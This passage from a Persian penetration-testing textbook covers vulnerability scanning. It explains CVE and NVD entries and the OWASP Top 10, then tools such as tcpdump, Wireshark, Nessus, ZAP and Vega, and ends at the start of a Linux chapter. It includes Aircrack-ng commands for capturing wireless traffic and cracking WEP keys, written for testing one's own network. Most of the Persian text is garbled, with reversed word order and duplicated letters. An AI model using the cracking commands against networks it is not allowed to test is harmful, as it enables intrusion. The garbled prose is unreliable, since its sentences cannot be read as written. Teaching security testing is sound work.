 که کنند، می اسکن شده شناخته های پذیری آسیب برای را ها سیستم پذیری آسیب کنرهایاس
 چنین فروشندگان که شود می مطرح سوال این اما .برسد نظر به واضح کاملاً است ممکن
 در ها پذیری آسیب که دارد وجود مخازن برخی دارند؟ اطلاع ها پذیری آسیب از چگونه ابزاری
 به که بدانید تا شود می داده ارجاع موارد این به مختلف ابزارهای با .است شده ثبت آنجا

 .باشید آشنا موارد این با باید .هستید چیزی چه جستجوی
 

CVE. 

 Common Vulnerabilities and Exposures (CVE) مشترک مواجهه و پذیری آسیب
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 شاید که شود می رینگهدا /https://cve.mitre.org در میتر شرکت توسط که باشد می لیستی
 یک برای مشترک توصیف و نام یک ارائه برای CVE .باشد پذیری آسیب لیست ترین جامع
 مورد در مؤثر طور به امنیتی متخصصان تا دهد می اجازه که ،.است شده طراحی پذیری آسیب
-CVE فرمت در CVE شناسه توسط ابتدا در CVE .کنند برقرار ارتباط ها پذیری آسیب

YYYY-NNNN مجاز سال در فرد به منحصر شناسه 9999 تا فقط فرمت این .است شده تعیین 
 مجاز رقمی تعداد هر و باشد می دلخواه ارقام + سال + CVE پیشوند جدید فرمت .باشد می
 .باشد می
 :است شده نقل اینجا در آن شرح که CVE-2017-8541 مثال عنوان به

Microsoft Malware Protection Engine در هک Microsoft Forefront و Microsoft کار 
 کند می

Defender on Microsoft Windows Server 2008 SP2 and R2 SP1، Windows 7 

SP1، Windows 8.1، Windows Server 2012 Gold and R2، Windows RT 8.1، 
Windows 10 Gold، 1511، 1607، and 1703، and Windows Server 2016، 

Microsoft Exchange Server 2013 and 2016، به شده حافظه تخریب به منجر که را فایلی 
 Microsoft Malware کد یاجرا پذیری آسیب " مستعار نام با .کند نمی اسکن درستی

Protection Engine " از متفاوت پذیری آسیب که CVE-2017-8538 و CVE2017-8540 
 باشد. می
 

NIST. 

 که کند می نگهداری را ها پذیری آسیب از ای داده پایگاه متحده الاتای استاندارد ملی موسسه
 نیز CVE قالب از NIST .کنید پیدا دسترسی آن به /https://nvd.nist.gov در توانید می

 :است شده داده شرح زیر صورت به CVE-2016-0217 ،مثال عنوان به .کند می استفاده
IBM Cognos Business Intelligence و IBM Cognos Analytics اسکریپت برابر در 

 اعتبار از ناشی که ،هستند پذیر آسیب Cross-site scripting (XSS)سایت طریق از نویسی
 این از تواند می دور راه از مهاجم یک .است کاربر توسط شده ارائه ورودی نامناسب سنجی
 در قربانی وب گرمرور در که وب صفحه یک به مخرب اسکریپت تزریق برای پذیری آسیب
 مهاجم یک .کند استفاده ،صفحه مشاهده از پس ،شود می اجرا میزبان سایت وب امنیت زمینه
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 استفاده قربانی کوکی بر مبتنی هویت احراز اطلاعات سرقت برای پذیری آسیب این از تواند می
 .کند
 

OWASP. 

Open Security Application Security Project وب های اپلیکیشن نیتام برای استانداردی 
 لیست در ها آن مهمترین ،ما فعلی اهداف برای .کنند می منتشر را مهم اسناد تعدادی ها آن .است
 وب برتر تایی 10 برنامه پذیری آسیب لیست یک ها آن سال چند هر .باشد می زیر برتر تایی 10
 وب های برنامه در ربیشت که باشد می واقعی های پذیری آسیب لیست این .کنند می منتشر را

 آنچه .آید می حساب به انگاری سهل موارد این تست عدم ،نفوذ تست منظر از .شود می مشاهده
 در ها لیست این که باشد می صورت بدین است، دهنده آزار بیشتر امنیتی متخصص یک برای
 طور انهم و ،باشد می دسترس در عمومی صورت به لیست این .کنند می تغییراندکی سالها طول
 ،دارد وجود ها پذیری آسیب این تست برای رایگان ابزارهای ،دید خواهیم فصل این در بعداً که
 را 2013 و 2010 لیست مقایسه توانید می شما .دارند را ها آن هنوز ها سایت وب از بسیاری اما
 .کنید مشاهده 8-1 شکل در

 
 

 .OWASP برتر لیست 10 . 8-1 شکل
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 :است شده آورده اینجا در آزمایشی لیست یک
 A1 تزریق Injection 
 A2 هویت احراز شکستن Broken Authentication 
 A3حساسیت معر  در گرفتن قرار Sensitive Data Exposure 
 A4 خارجی اشخاص XML (XXE) XML External Entities 
 A5شکسته دسترسی کنترل Broken Access Control 
 A6 امنیتی اشتباه پیکربندی Security Misconfiguration 
 A7 سایت متقابل نویسی اسکریپت (XSS) Cross-Site Scripting 
 A8 سازی محرمانه سازی ناامن Insecure Deserialization 
 A9 شده شناخته پذیر آسیب های مولفه بکارگیری Using Components with Known 

Vulnerabilities 
 A10 کافی تنظار عدم و نگاری واقعه عدم Insufficient Logging and Monitoring 

 ها پذیری آسیب از بسیاری که باشد می صورت بدین کند می متعجب را شما دارد احتمال آنچه
 از لیستی ها لیست این که باشید داشته خاطر به اند. مانده باقی برتر مورد 10 در سال به سال
 مفهوم .باشند نمی نظری و شوند، می یافت واقعی دنیای در که هستند واقعی های پذیری آسیب
 مرتکب را اشتباهات همان مرتباً سال به سال وب دهندگان توسعه که باشد می صورت بدین آن
  .شوند می
 

  (Packet Capture)ضبط بسته 

 منتقل ای داده چه اینکه دیدن .است پذیری آسیب اسکن از بخشی اغلب شبکه ترافیک ضبط
 چند به نگاهی ،بخش این در .باشد مفید بسیار تواند می ،باشد می داده آن در آنچه و شود می

 انداخت. خواهیم رایج بسته اسکنر / اسنیفر
 

Tcpdump . 

 نیز ویندوز به همچنین که باشد می tcpdump لینوکس برای بسته اسکنرهای ترین رایج از یکی
 تهیه مقابل لینک از را آن وانیدت ومی کنید دانلود ویندوز برای را آن باید و است شده منتقل
 آن از استفاده و کند می کار shell/command line در /.http://www.tcpdump.org :کنید
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 شوند ضبط ها بسته واسطی چه در که کنید مشخص باید ،آن شروع برای .باشد می آسان نسبتاً
 :مانند

tcpdump -i eth0 

 .کند ضبط eth0 ،شبکه کارت برای را هشبک ترافیک tcpdump شود می باعث دستور این
 :دهید تغییر زیر موارد مانند فرمان های پرچم انواع با را tcpdump رفتار توانید می همچنین

tcpdump -c 500 -i eth0 

 سدپس  و گرفتده  را eth0 واسدط  اول بسدته  500 فقدط  کده  گویدد  مدی  tcpdump بده  فوق دستور 
 .کند متوقف

tcpdump -D 

 کددام  از که کنید انتخاب بتوانید تا دهد می نمایش شما کامپیوتر در را ها اسطو همه فوق دستور
 .کنید مشاهده 8-2 شکل در توانید می را گزینه سه هر .شود استفاده یک

 
 

 TCP Dump . 8 -2 شکل
 

 :شود می اشاره نمونه چند اینجا در .دارد وجود TCPdump از استفاده برای مختلفی یها روش
 tcpdump host 192.168.2.3: دهد می نشان شما به را 192.168.2.3 از بازدید فقط. 

tcpdump -i any ردیگ می کیتراف شما کامپیوتر در واسطی هر از. 
 tcpdump -i eth0 واسط برای فقط eth0 گیرد می ترافیک. 

Tcpdump port 3389 دهد می نشان 3389 پورت یبرا را کیتراف فقط. 
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 # tcpdump smtp پروتکل از استفاده با فقط SMTP دهد می نشان را ترافیک. 
-https://danielmiessler.com/study/tcpdump/#complex در توانید می را بیشتر جزئیات

grouping کنید پیدا. 
 

Wireshark 
 تواند می نفوذ کننده تست یک غالباً .است شبکه بسته اسنیفرهای ترین شده شناخته از یکی

 .بگیرد فرا هدف شبکه یک در شبکه ترافیک اسنیف طریق از راحتی به را زیادی چیزهای
Wireshark مناسب گرافیکی کاربری واسط یک (GUI) فراهم شبکه ترافیک بررسی برای 

 در توانید می که باشد می رایگان دانلود امکانات دارایWireshark .کند می
https://www.wireshark.org/ مکینتاش یا ویندوز برای توان می را ابزار این .کنید دریافت 

 یک صورت به فرمان خط برخلاف ،است گرافیکی کاربری رابط)واسط( یک که کرد، دانلود
 .است شده داده نشان 8-3 شکل در که بوده Wireshark گرافیکی واسط

 
 .Wireshark اصلی صفحه . 8-3 شکل

 

 شدکل  در قرمدز  باکس در که ،یدکن کلیک Expression دکمه روی بر مربوطه افزار درنرم اگر
 همچندین ) شدود  می ظاهر Display Filter Expression پنجره سپس ،است شده داده نشان 4-8
 .کنید ایجاد را فیلترها دهد می امکان شما به که (،است شده داده نشان 8-4 شکل در
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 8-4شکل 
 

 ضبط کند می مشاهده هک را ترافیکی تمام دارد قصد Wireshark زیرا هستند ضروری فیلترها
 توانید می ،فیلترها از استفاده با .شود می ربط بی های بسته از بسیاری ایجاد به منجر بنابراین ،کند
 .کنید فیلتر هستید مند علاقه آن به حاضر حال در آنچه به فقط شود می داده نشان که را آنچه

 نسخه چند در که باشد می Wireshark های جنبه از یکی فیلترها که است ذکر به لازم همچنین
 .است یافته گسترش بسیار اخیر
 را بسته آن جزئیات سپس و کرده هایلایت را بسته هر توانید می ،Wireshark از استفاده هنگام
 8-5 شکل در که IP و Ethernet، TCP مانند شبکه مختلف هدرهای جمله از ،کنید مشاهده
 سپس و کرده راست کلیک خاص بسته یک روی توانید می همچنین .است شده داده نشان

 .کنید مشاهده را بسته آن با مرتبط مکالمه کل که کنید انتخاب
 را هدرها توانید می و کرد خواهید مشاهده را ها داده ،کنید می کلیک دوبار بسته هر روی وقتی
 .دهید گسترش 8-6 شکل مانند

|

 

https://technet24.ir/
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 .کنید دنبال را TCP جریان . 8-5 شکل

 
 بسته جزئیات . 8-6 شکل
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 در که دارد وجود توجه جالب گزینه چندین ،کنید کلیک Statistics کشویی منوی روی اگر
 .است شده داده نشان 8-7 شکل

 
 Wireshark Statistics 8-7 شکل

 

 آن توانید می ،DHCP یا DNS ترافیک وجود صورت در ،کنید می مشاهده که طور همان
 شما به گفتگوها انتخاب با .کنید انتخاب پروتکل آن به بوطمر آمار آوری جمع برای را گزینه
 HTTP .کنید مشاهده را UDP و IPv4، IPv6، TCP گفتگوهای برای آماری دهد می امکان
 بسیاری که است بدیهی .دهد ارائه شما به HTTP ترافیک مورد در زیادی اطلاعات تواند می

 امیدوار بلکه ،پردازد نمی Wireshark زشآمو به فصل این .دارد وجود نیز دیگر های گزینه
 .کند فراهم شما برای Wireshark مورد در ای پایه دانش یک بتواند است

Wireshark تمام و کرده صرف زمان که دارد ارزش .باشد می کاره همه کاملاً ابزاری 
 به Wireshark صفحه در زیادی منابع خوشبختانه .بیاموزید کاملاً را ابزار این های ویژگی
 کمک یادگیری در شما به تا دارد وجود https://www.wireshark.org/#learnWS نشانی
 .کنند



 Vulnerability Scanning 229پذیری  : اسکن آسیب8فصل 

 

 دقیق بسیار نمای یک آوردن دست به ،کنند می استفاده Wireshark مانند ابزاری از اینکه دلیل
 لاعاتاط جمله از ،ها داده دارد احتمال واقع در .باشد می شود می منتقل شبکه طریق از آنچه از

 بود خواهید قادر اینکه یا .کنید مشاهده ،شوند می ارسال cleartext صورت به که را ،کاربری
TLS به وب سرور یک از که را خطایی کدهای است ممکن همچنین .کنید استفاده و نصب را 
 نگاشت از تواند می که دارد وجود زیادی های داده .کنید مشاهده اند، برگشته عقب
(mapping) شود حاصل شبکه افیکتر. 
 

 Network Scanners شبکه اسکنرهای

 مشاهده شما شبکه کارت توسط که باشد می هایی بسته ضبط برای بسته اسکن
 تواند می که کند، می اسکن را شبکه از بخشی یا شبکه یک شبکه، اسکن های افزار نرم.شود می
 این .کند شناسایی را شبکه آن در موجود خدمات همچنین و (enumerate) برشمرد را شبکه
 .است نفوذ کننده تست برای عالی مقدماتی مرحله یک
 

LanHelper. 

 لینک از توانید می که باشد می قیمت ارزان شبکه اسکنر یا بردار نقشه یک LanHelper ابزار
http://www.hainsoft.com/download.htm شده نصب سریع خیلی ابزار این .کنید نلود دا 

 راحتی به زیر موارد از یکی انتخاب سپس و Network کشویی منوی روی کلیک با سپس و
 :دهید انجام را اسکن عملیات توانید می
 اسکن LAN 

 اسکن IP 
 اسکن Workgroup ها 

 خواهید مشاهده را شبکه در موجود های دستگاه تمام از لیستی ،شد انجام اسکنی که هنگامی
 ،آورید دست به را بیشتری جزئیات تا کرده کلیک ها آن از یک هر روی بر توانید می و کرد
 .است شده داده نشان 8-8 شکل در که طور همان
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 LanHelper . 8-8 شکل

 

Wireless Scanners/Crackers. 

 حتی و سیم بی شبکه اسکن دلیل، همین به دارند. وجود جا همه هامروز سیم بی های شبکه
 اسکنرهای است. شبکه ادمین هر برای مهمی عالیتف آن، شکستن برای تلاش با آن امنیت تست
 همچنین اما شوند، استفاده سیم بی های شبکه برای توانند می قبلی بخش در شده ذکر شبکه

 کنید. استفاده ها آن از توانید می که اند شده طراحی Wi-Fi برای خاص طور به ابزارهایی

 ها آن .دارند شما Wi-Fi شکستن رد سعی Wi-Fi ابزارهای این از بسیاری ،اسکن بر علاوه
 که است مهم .بزنند دور را امنیت یا کنند استخراج را عبور رمز کنند می تلاش اساساً

 اسکن ابزارهای با ،شبکه توسط حمله از قبل مشکلات یافتن برای شبکه امنیت متخصصان
 .کنند اسکن را خود شبکه

 
Aircrack. 

 رایگان دانلود دارای که باشد، می Wi-Fi کستنش و اسکن ابزارهای ترین محبوب از یکی
 واقع در .کنید دریافت /http://www.aircrack-ng.org لینک از را آن توانید می و باشد می
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 های داده کرد خواهد سعی wzcook.exe نام به یکی .دارد وجود دانلود لینک این در ابزار چند
 .کند استخراج ،است شده نصب آن روی که محلی دستگاه از را عبور رمز جمله از ،سیم بی
 که بوده فرمان خط ابزار یک این .باشد می aircrackng اصلی ابزار که باشید داشته توجه باید
 .کنید مشاهده 8-9 شکل در را آن توانید می

 
  Aircrack-ng. 8-9 شکل

 

 ابزار یک این ،حال این با .است لازم زمان یکم فرمان خط های پرچم همه یادگرفتن یبرا
 این بودن محبوب بسیار آن، اهمیت دلیل .دارد را کردن صرف زمان ارزش و بود مهم بسیار
 از مهاجمان احتمالاً که ابزاری همان با را خود سیم بی شبکه اگر .است مهاجمان بین ابزاردر
 ماش شبکه درنتیجه ،کنید اصلاح را مشکل آن یافتید مشکلی و کرده اسکن کنند می استفاده آن
 .نیست پذیر آسیب سیم بی حملات برابر در
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 پی bin دایرکتوری در موجود اجراهای از تعدادی به ،کنید می دانلود را Aircrack که هنگامی
 غیره و ؛aircrack-ng-avx2.exe ؛airdecloak-ng.exe، airodump-ng.exe .برد خواهید
 بنیادین دستور چند اینجا در .نددار متفاوتی سیم بی عملکرد اینها از کدام هر .دارد وجود
 :دارد وجود
  airodump-ng interface: شود می انجام شده تعیین کاربری واسط بسته کار این با. 
 airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump interface: -c نشان 

- bssid .ستا هارد روی بر (dump) ریختن نشانگر W- ،.است11 حالت Wi-Fi کانال دهنده
 توانید می ،WEP مانند ،قدیمی رمزگذاری برای .کند می ضبط شما برای را موردنظر سیم بی

 . کنید)بشکنید( کرک را آن بتوانید باید و کرده ضبط را بسته 50،000 حدود
 aircrack-ng -b 00: 01: 02: 03: 04: 05 dump-01.cap: به این Aircrack که گوید می 
 .بشکند را آن کند سعی و برداشته را بندی هبست (packet) بسته
 

General Scanners: 

 از بخشی باید که هستند رایج و عمومی پذیری آسیب اسکنر که دارد وجود اسکنر چندین
 بخش این در رایج اسکنرهای از تعدادی به ما .باشد نفوذ تست برای شما ابزارهای مجموعه
 .انداخت خواهیم نگاه
 

MBSA. 

Microsoft Baseline Security Analyzer این با .باشد نمی پذیری آسیب اسکنر ترین قوی 
 مشکلات یافتن در ،ضعف نقاط یافتن بر علاوه و بوده رایگان دانلود با برنامه یک ،حال

 :ازلینک توانید می را MBSA .است مفید نیز ویندوز های دستگاه پیکربندی
https://www.microsoft.com/en-us/download/details.aspx?id=7558 

 از خروجدی  توانیدد  مدی  .اسدت  آسدان  بسدیار  آن از اسدتفاده  ،بدودن  رایگدان  بر کنید.علاوه دانلود
MBSA کنید مشاهده 8-10 شکل در را. 
MBSA و رایج مسائل یافتن برای فقط اول درجه رد .است محدود پذیری آسیب اسکنر یک 
 قابل بسیار و بوده رایگان دانلود یک دارای ،حال این با .شود می استفاده مایکروسافت اساسی
 .گیرد قرار توجه مورد حداقل باید مطمئنا ،دلیل همین به .است استفاده

https://www.microsoft.com/en-us/download/details.aspx?id=7558
https://www.microsoft.com/en-us/download/details.aspx?id=7558
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 MBSA خروجی .8-10 شکل

 

Nessus. 

Nessus گیرد می قرار استفاده مورد که سالهاست .است شده شناخته پذیری آسیب اسکنر یک 
 و است سال در دلار 2100 از بیش قیمت با آن از استفاده مجوز .نیست رایگان متاسفانه و
 از بسیاری استفاده مانع آن قیمت .کنید دریافت /https://www.tenable.com از توانید می
 به فروشنده که باشد می صورت نبدی Nessus اصلی مزیت .است شده نفوذ کنندگان تست
 همچنین Nessus .کند می روز به کند اسکن تواند می که را هایی پذیری آسیب مداوم طور
 نشان 8-11 شکل در که است استفاده برای آسان بسیار وب (Interfaceواسط) یک دارای
 .است شده داده
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 .Nessus اصلی صفحه . 8-11 شکل
 

 شکل در که شود می داده گزینه تعدادی شما به سپس .است New Scan انتخاب قدم اولین
 .است شده داده نشان 12-8

 
 

 .Nessus اسکن های گزینه . 8-12 شکل

 .باشدد  مدی  شدهودی  اصدلی  تنظیمدات  .کنید انتخاب را Basic Network Scan ،ما اهداف برای
 از طیفدی  و کدرده  نامگدذاری  را خدود  اسکن باید ،شده داده نشان 8-13 شکل در که طور همان

 .کنید انتخاب را IP آدرسهای
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 .Nessus های گزینه . 8-13 شکل
 

 دارد احتمدال  .شدود  اجدرا  اکندون  یدا  ،شدود  اجرا بعداً تا کنید زمانبندی را اسکن توانید می سپس
 8-14 شدکل  در کده  طدور  همدان  .باشدد  مدی  دقیدق  کداملاً  زیدرا  باشد زمانبر مدتیNessus اسکن
 .است شده ارائه یافته سازمان کاملاً صفحه یک در تایجن ،کنید می مشاهده

 
 

 Nessus نتایج . 8-14 شکل
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 خاص IP آدرس یک روی بر ابتدا .کنید تمرین ،باشد می علاقتان مورد که مواردی روی سپس
 8-15 شدکل  در که طور همان ،دهد می نشان را IP آن به مربوط جزئیات که ،کنید کلیک دوبار
 .تاس شده داده نشان

 
 .کامل جزئیات با :Nessus نتایج . 8-15 شکل

 

 کدار  ایدن  بدا  .کنیدد  کلیدک  دوبار جداگانه مورد هر روی بر بیشتر جزئیات برای توانید می سپس
 .شود می ارائه شما به مشکل رفع نحوه و موضوع جزئیات

 

Nexpose. 

 را Metasploit که فروشندگانی ،باشد می Rapid7 شرکت از تجاری محصولات از دیگر یکی
 /https://www.rapid7.com/products لینک در را Nexpose توانند می .کنند می توزیع

nexpose/ و دانلود را آن توانید می که دارد وجود رایگان آزمایشی نسخه یک .کنند مشاهده 
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 لازم تلاش مقداری یادگیری برای و بوده لینوکس مجازی ماشین یک ابزار این .کنید تست
 مورد ،شده توزیع کنند می توزیع را Metasploit که افرادی همان توسط اینکه به توجه با .دارد
 .است گرفته قرار بازار توجه
 

SAINT. 

. http://www سایت آدرس که باشد، می شده شناخته پذیری آسیب اسکنر یک

saintcorporation.com کنید درخواست رایگان آزمایشی خهنس یک توانید می که باشد می. 
 نظر از را ها دستگاه سپس ،کند می اسکن UDP یا TCP سرویس هر برای را شبکه اسکنر، این

 همچنین و (CVE) مشترک پذیری آسیب و پذیری آسیب این از و کرده، اسکن پذیری آسیب
 .کند می استفاده منابع عنوان به CERT های مشاوره

 

  (Web Application Scanners) وب اسکنر های اپلیکیشن

 .هستند حمله برای پرطرفداری اهداف رو این از و دارند قرار عموم معر  در وب های اپلیکیشن
 .کنید اسکن پذیری آسیب برای را خود وب اپلیکیشن تا کنید تلاش باید قطعاً ،دلیل همین به
 

OWASP ZAP. 

 پذیری آسیب برای استانداردی (OWASP) باز وب )اپلیکیشن( کاربردی برنامه امنیت پروژه
 Zed Attack Proxy نام به رایگان پذیری آسیب اسکنر یک همچنین .باشد می وب های برنامه
 لینک از توانید می که دهد، می ارائه OWASP ZAP نام با بیشتر یا

https://github.com/zaproxy/zaproxy/wiki/Downloads کاربری واسط .نمایید دانلود 
 .باشد می آسان بسیار است شده داده نشان 8-16 شکل در هک

. کنید کلیک Attack روی تب و کرده وارد کنید اسکن خواهید می که را سایتی URL فقط
 را آیتم هر توانید می سپس( . 8-17 شکل در) شوند می داده نمایش نتایج، لحظه چند از پس
شوند، که  می Load ویندوز در اتجزئی، کنید کلیک خاصی آیتم روی اگر. دهید توسعه
 .کنید مشاهده 8-17 شکل در توانید می
 

http://www/
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 .OWASP ZAP اصلی صفحه . 8-16 شکل

 

 
 OWASP ZAP نتایج . 8-17 شکل
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 عر  در توان می را آن کاربرد اصول .باشد می آسان بسیار ابزاری OWASP ZAP از استفاده
 های پذیری آسیب که است ازمانیس OWASP اینکه به توجه با و .فراگرفت دقیقه چند

 وب یک های پذیری آسیب تست برای مناسبی بسیار منبع ،کند می ردیابی را وب های اپلیکیشن
 .باشد می سایت

 

Vega. 

 لینک از و باشد می رایگان که بوده ها سایت وب پذیری آسیب اسکنرهای از دیگر یکی
https://subgraph.com/vega/download/ ویندوز برای هایی نسخه .باشد می دسترس در، 

 نوار در (Target) هدف نماد روی فقط ،اسکن شروع برای .دارد وجود مکینتاش یا لینوکس
 طور همان ،کنید وارد کنید اسکن خواهید می که را سایتی وب URL سپس ،کنید کلیک ابزار
 .است شده داده نشان 8-18 شکل در که

 
 Vega . 8-18 شکل
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 انتخاب کنید اسکن خواهید می که را مواردی و کرده انتخاب را دهسا wizard یک سپس
 طور همان .کرد خواهید مشاهده را نتایج ،لحظه چند از پس شده، شروع اسکن سپس ،کنید می
 را خاصی مسئله هر ،جزئیات مشاهده برای توانید می ،است شده داده نشان 8-19 شکل در که
 .کنید انتخاب و (Expand) داده بسط

 
 Vega نتایج . 8-19 شکل

 

 و موضوع بودن جدی ،است اشتباه آنچه درباره را جزئیاتی OWASP ZAP، Vega مانند دقیقاً
 رایگان Vega و OWASP ZAP دو هر اینکه به توجه با .دهد می ارائه مسئله اصلاح چگونگی
 وب پذیری سیبآ اسکن انجام برای کنم می توصیه ،است آسان بسیار ها آن از استفاده و هستند
 .کند می تضمین را کامل پوشش ابزار چندین از استفاده .کنید استفاده دو هر از نظر مورد سایت
 فرصت بهترین اما ،کرد خواهید تجربه را بیشتری پذیری آسیب شما که کند نمی تضمین هنوز
 .باشید کامل توانید می که اندازه همان به و بوده کار این انجام برای
 

  (Cyber Threat Intelligence) سایبری دتهدی هوش

 اینگونه آن مفهوم .است پذیری آسیب اسکن به مربوط سایبری تهدیدات هوش موضوع
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 شبکه تهدیدات کشف برای اطلاعات آوری جمع های تکنیک از باید ها سازمان که باشد می
 فصل در هک باشد می Dark Web شامل سایبری تهدیدات هوش از بخشی .کنند استفاده خود
 .کرد خواهیم بررسی ،"کردن هک عمومی دانش" ،17

 ییدهایتهد مورد در یکل دهیا کی تا کنید کنترل را روندها که باشد می صورت بدین مفهوم
 کار بانک یک در شما اگر ،مثال عنوان به باشید. داشته کند می جادیا شما شبکه احتمالاً که
 شبکه برای اما کند می ایجاد مشکل ها بانک رایب که دارد وجود خاصی تهدیدهای ،کنید می

 روندهای شناختن سایبری تهدیدات هوش .نیست مهمی مسئله یا بوده اهمیت کم بسیار دانشگاه
 سوال این است ممکن .بردارید عملی های گام کار این برای توانید می بنابراین است فعلی
 نه .هستند فعال بسیار نفوذ های کننده تست بهترین دارد؟ نفوذ تست به ربطی چه که شود مطرح
 و فعلی روند گیری اندازه بلکه ،SQL تزریق مانند شده شناخته و معمولی موارد تست فقط

 روند این در شما به که دارد وجود عالی سایت وب چندین .اساس این بر ها تست اصلاح
 .کند می کمک

 

Threatcrowd.org. 

 باشد، می سایبری تهدیدات جستجوی موتور /https://www.threatcrowd.org سایت وب
 در ،مثال عنوان به .کنید جستجو را خاص تهدیدهای یا IP های آدرس ،ها دامنه توانید می که

 .کردم جستجو را Ransomware من ،8-20 شکل

 
 .تهدید جمعیت . 8-20 شکل
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 IP (های) دامنه و IP آدرس همچنین و کلی روندهای دنبال به ،نفوذ تست از قبل است بهتر
 .باشید شبکه
 

Phishtank. 

 فیشینگ های کلاهبرداری مورد در اطلاعاتی /https://www.phishtank.com سایت وب
 ادمین یک برای اما ،دارد کمتری اهمیت ،نفوذ کننده تست برای آیتم این .دهد می ارائه فعلی
 توانید می ،هستید مطلع یشینگف فعلی های کلاهبرداری از اگر .باشد می اهمیت با بسیار امنیت

 .دهید قرار باش آماده حالت در ها آن و کرده مطلع را کارمندان
 

  (Internet Storm Center) اینترنتی طوفان مرکز

 ،ها دامنه دهد می امکان شما به /SANS، https://isc.sans.edu موسسه اینترنتی طوفان مرکز
 بدانید دهد می اجازه شما به .کنید جستجو را مشخصات سایر یا IP های آدرس ،کلیدی کلمات
 افتد. می اتفاق سایبری فضای در حاضر حال در هایی " (stormطوفان)" چه
 

OSINT. 
 سایبری تهدیدات هوش از بخشی نیز OSINT یا (Open source intelligence باز) منبع هوش
 یک به مربوط عاتاطلا باشد لازم است ممکن ،کلی روندهای از آگاهی از فراتر .است
 سایت وب .کنید پیدا را شناسایی علائم سایر یا ایمیل آدرس ،خاص IP آدرس

http://osintframework.com این از توانید می .باشد می باز منبع هوش های لینک از مخزنی 
 علاقه مورد موارد سایر یا اصخ های اکسپلویت ،ایمیل های آدرس جستجوی برای سایت
 .دهد می نشان راOSINT چارچوب اصلی صفحه 8-21 شکل .کنید استفاده

 

http://osintframework.com/
http://osintframework.com/
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 .OSINT چارچوب . 8-21 شکل

 

 خلاصه

 یک هر .شد بررسی پذیری آسیب اسکنرهای و شبکه اسکنر ،بسته اسکنر چندین فصل این در
 یا وب برنامه ،کامپیوتر در که را یهای پذیری آسیب خودکار ارزیابی توانند می ابزارها این از

 در مقدماتی مرحله یک تواند می پذیری آسیب اسکن .دهند ارائه ،دارد وجود معینی شبکه
 مهم .باشد مجزا تست یک تنهایی به تواند می یا ،باشد نفوذ تست برای حمله بردارهای شناسایی
 .نیست نفوذ تست یک پذیری آسیب اسکن که باشید داشته خاطر به که است
 تهدیدات بر نفوذتان تست رویکرد تا کند کمک شما به تواند می سایبری تهدیدات هوش
 آگاهی هدف شبکه یک برای موجود خطرات از اگر .شود متمرکز پیدایش حال در و موجود
 .بود خواهد ناتمامی حداکثر شرایط در شما نفوذ تست ،باشید نداشته
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 فصل اهداف

 :بود دیخواه قادر ،فصل نیا خواندن از پس
 کنید. می درک را لینوکس ضروری موارد 
 کنید. می اجرا را لینوکس بنیادین دستورات 
 کنید. می درک را لینوکس دایرکتوری ساختار 
 لیندوکس  کدالی  توزیع از بخشی Metasploit دهد. می پوشش را Metasploit بعدی فصل چند

 یددا Kali خدداص طددور بدده پس،کنیددد نمددی درک را لینددوکس اگددر هکدد معناسددت بدددان و اسددت،
Metasploit بود نخواهد مؤثر شما برای. 

 تبحدر  لیندوکس  در اگدر  .داد خواهدد  لیندوکس  عامل سیستم از کلی مرور یک شما به فصل این
 لیندوکس  از خدود  داندش  مدورد  در اگدر  .کنید نظر صرف فصل این از تمایل صورت در ،دارید

 .کنید مطالعه را فصل یکباراین حداقل ،دارد وجود تانذهن در تردیدی
 

 لینوکس تاریخچه

 دانش با مدتی قبلاً دارد احتمال .است پذیر امکان آن تاریخچه از اطلاع بدون لینوکس با کار
 نداشته آن توسعه دلیل و چگونگی از آگاهی گونه هیچ یا ،باشید کرده کار لینوکس با کم
 تاریخچه درک ،موضوعی هر مطالعه هنگام که دارم راسخ تقاداع من ،حال این با .باشید

 و دهد قرار فرد اختیار در موضوع مطالعه برای را ای زمینه تواند می که باشد، می مهم موضوع
 .کند می کمک جاری شکل به امور از برخی دلیل شدن روشن به اغلب
 دیگری دلیل که باشد، می یونیکس شده سازی شبیه باز متن عامل سیستم یک لینوکس واقع در
 از ها کالج از بسیاری که طوری به باشد می هم به شبیه بسیار و است لینوکس یادگیری برای

 عملکرد که حالی در که است دلیل بدان این .کنند می استفاده یونیکس آموزش برای لینوکس
 رایگان باز منبع سلینوک نیستند، مشابه هم با ها قیمت ،است مشابه توجهی قابل طرز به ها آن
 .باشد پرهزینه بسیار تواند می یونیکس و بوده،

 با که خوانندگانی از دسته آن برای .بود بل ای افسانه لابراتوار از ای ساخته یونیکس
 فراوانی علمی و فنی های موفقیت واسطه به ها آن ،ندارند آشنایی (Bell Labs) بل های لابراتوار

 ایجاد البته و C نویسی برنامه زبان ساخت ،BIG BANG ربارهد شواهد اولین کشف جمله از
 1800 دهه در بل گراهام الکساندر توسط واقع در بل های لابراتوار .هستند مشهور یونیکس
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 شناسیم می امروزه که را بل های لابراتوار و شد تلفیق AT&T های لابراتوار با بعداً .شد تأسیس
 .دادند تشکیل
 آنچه به نزدیک کدام هیچ کامپیوترها .بودند پیشرفت حال در کامپیوترها ،1960 دهه اواخر در
 یک .بود گسترش حال در کامپیوتر از استفاده ولی ،نبودند دارید سروکار آن با شما امروز که

 های لابراتوار .نداشت وجود پرکاربردی و رایج عامل، سیستم هیچ که بود این بزرگ مشکل
 مشارکت (محاسبات و اطلاعات منظوره چند خدمات) Multics نام به ای پروژه در بل

 جنرال و بل های لابراتوار ،ماساچوست فناوری موسسه مشترک تلاش Multics اند. داشته
 این با .بود عمومی کاربرد و گسترده کاربردهای با عامل سیستم یک ایجاد برای الکتریک

 پروژه این از گرفتند تصمیم بل های وارلابرات و بود روبرو مشکلاتی با Multics پروژه ،حال
 برایان ،ریچی دنیس ،تامپسون کن از متشکل ،بل های لابراتوار در تیم یک .شوند خارج

 ایجاد جدید عامل سیستم یک گرفتند تصمیم ،اوسانا جو و الروی مک داگلاس ،کرنیگان
 .باشد داشته ای گسترده کاربرد که کنند

 اجرا مختلف افزارهای سخت با تواند می که بود عامل یستمس یک ایجاد برای تلاشی یونیکس
 تواند می که باشد یعموم عامل ستمیس کی کسیونی تا داشتند نظر در بل های لابراتوار ،شود
 .بود چرا و چون بی موفقیت یک که ،ردیگ قرار استفاده مورد مختلف یویسنار هر در

 آن از بعد سال 50 تقریباً که حاضر حال در و شد منتشر 1971 سال در بار اولین برای یونیکس
 و عامل سیستم پایدارترین عنوان به یونیکس .باشد می پرکاربرد عامل سیستم یک ،است ماجرا
 عامل ستمیس از اپل حتی که است ذکر شایان .است شده گرفته نظر در عامل سیستم ترین ایمن

